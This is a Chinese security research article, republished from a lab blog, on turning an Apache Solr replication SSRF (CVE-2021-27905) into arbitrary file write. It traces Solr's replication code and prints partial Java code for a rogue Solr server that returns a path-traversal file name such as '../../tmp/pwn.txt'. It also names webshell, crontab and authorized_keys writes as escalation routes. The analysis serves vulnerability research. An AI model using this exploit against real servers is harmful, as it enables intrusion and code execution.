作者:Ricter Z@360高級攻防實驗室
原文鏈接:http://noahblog.#/apache-solr-8-8-1-ssrf-to-file-write/

0x01. TL; DR

事情要從 Skay 的 SSRF 漏洞(CVE-2021-27905)說起。正巧后續的工作中遇到了 Solr,我就接著這個漏洞進行了進一步的分析。漏洞原因是在于 Solr 主從復制(Replication)時,可以傳入任意 URL,而 Solr 會針對此 URL 進行請求。

說起主從復制,那么對于 Redis 主從復制漏洞比較熟悉的人會知道,可以利用主從復制的功能實現任意文件寫入,那么 Solr 是否會存在這個問題呢?通過進一步的分析,我發現這個漏洞豈止于 SSRF,簡直就是 Redis Replication 文件寫入的翻版,通過構造合法的返回,可以以 Solr 應用的權限實現任意文件寫。

對于低版本 Solr,可以通過寫入 JSP 文件獲取 Webshell,對于高版本 Solr,則需要結合用戶權限,寫入 crontab 或者 authorized_keys 文件利用。

0x02. CVE-2021-27905

Solr 的 ReplicationHandler 在傳入 command 為 fetchindex 時,會請求傳入的 masterUrl,漏洞點如下:

SSRF 漏洞到這里就結束了。那么后續呢,如果是正常的主從復制,又會經歷怎么樣的過程?

0x03. Replication 代碼分析

我們繼續跟進 doFetch 方法,發現會調用到 fetchLatestIndex 方法:

在此方法中,首先去請求目標 URL 的 Solr 實例,接著對于返回值的 indexversiongeneration 進行判斷:

如果全部合法(參加下圖的 if 條件),則繼續請求服務,獲取文件列表:

文件列表包含filelistconfFilestlogFiles 三部分,如果目標 Solr 實例返回的文件列表不為空,則將文件列表中的內容添加到 filesToDownload 中。這里 Solr 是調用的 command 是 filelist

獲取下載文件的列表后,接著 Solr 會進行文件的下載操作,按照 filesToDownloadtlogFilesToDownloadconfFilesToDownload 的順序進行下載。

我們隨意跟進某個下載方法,比如 downloadConfFiles

可以發現,saveAs 變量是取于 files 的某個屬性,而最終會直接創建一個 File 對象:

也就是說,如果 file 的 alias 或者 name 可控,則可以利用 ../ 進行目錄遍歷,造成任意文件寫入的效果。再回到 fetchFileList 查看,可以發現,filesToDownload 是完全從目標 Solr 實例的返回中獲取的,也就是說是完全可控的。

0x04. Exploit 編寫

類似于 Redis Replication 的 Exploit,我們也需要編寫一個 Rogue Solr Server,需要實現幾種 commands,包括 indexversionfilelist 以及 filecontent。部分代碼如下:

if (data.contains("command=indexversion")) {
    response = SolrResponse.makeIndexResponse().toByteArray();
} else if (data.contains("command=filelist")) {
    response = SolrResponse.makeFileListResponse().toByteArray();
} else if (data.contains("command=filecontent")) {
    response = SolrResponse.makeFileContentResponse().toByteArray();
} else {
    response = "Hello World".getBytes();
}

t.getResponseHeaders().add("Content-Type", "application/octet-stream");
t.sendResponseHeaders(200, response.length);
OutputStream os = t.getResponseBody();
os.write(response);
os.close()123456789101112131415

返回惡意文件的代碼如下:

public static ByteArrayOutputStream makeFileListResponse() throws IOException {
    ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
    JavaBinCodec codec = new JavaBinCodec(null);

    NamedList<Object> values = new SimpleOrderedMap<>();
    NamedList<Object> headers = new SimpleOrderedMap<>();
    headers.add("status", 0);
    headers.add("QTime", 1);

    values.add("responseHeader", headers);

    HashMap<String, Object> file = new HashMap<>();
    file.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
    file.put("lastmodified", new Long("123456"));
    file.put("name", DIST_FILE);

    ArrayList<HashMap<String, Object>> fileList = new ArrayList<>();
    fileList.add(file);

    HashMap<String, Object> file2 = new HashMap<>();
    file2.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
    file2.put("lastmodified", new Long("123456"));
    file2.put("name", DIST_FILE);

    ArrayList<HashMap<String, Object>> fileList2 = new ArrayList<>();
    fileList2.add(file2);

    values.add("confFiles", fileList);
    values.add("filelist", fileList2);

    codec.marshal(values, outputStream);
    return outputStream;1234567891011121314151617181920212223242526272829303132

其中 DIST_FILE 為攻擊者傳入的參數,比如傳入 ../../../../../../../../tmp/pwn.txt,而 FILE_NAME 是本地要寫入的文件的路徑。攻擊效果如下:


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1597/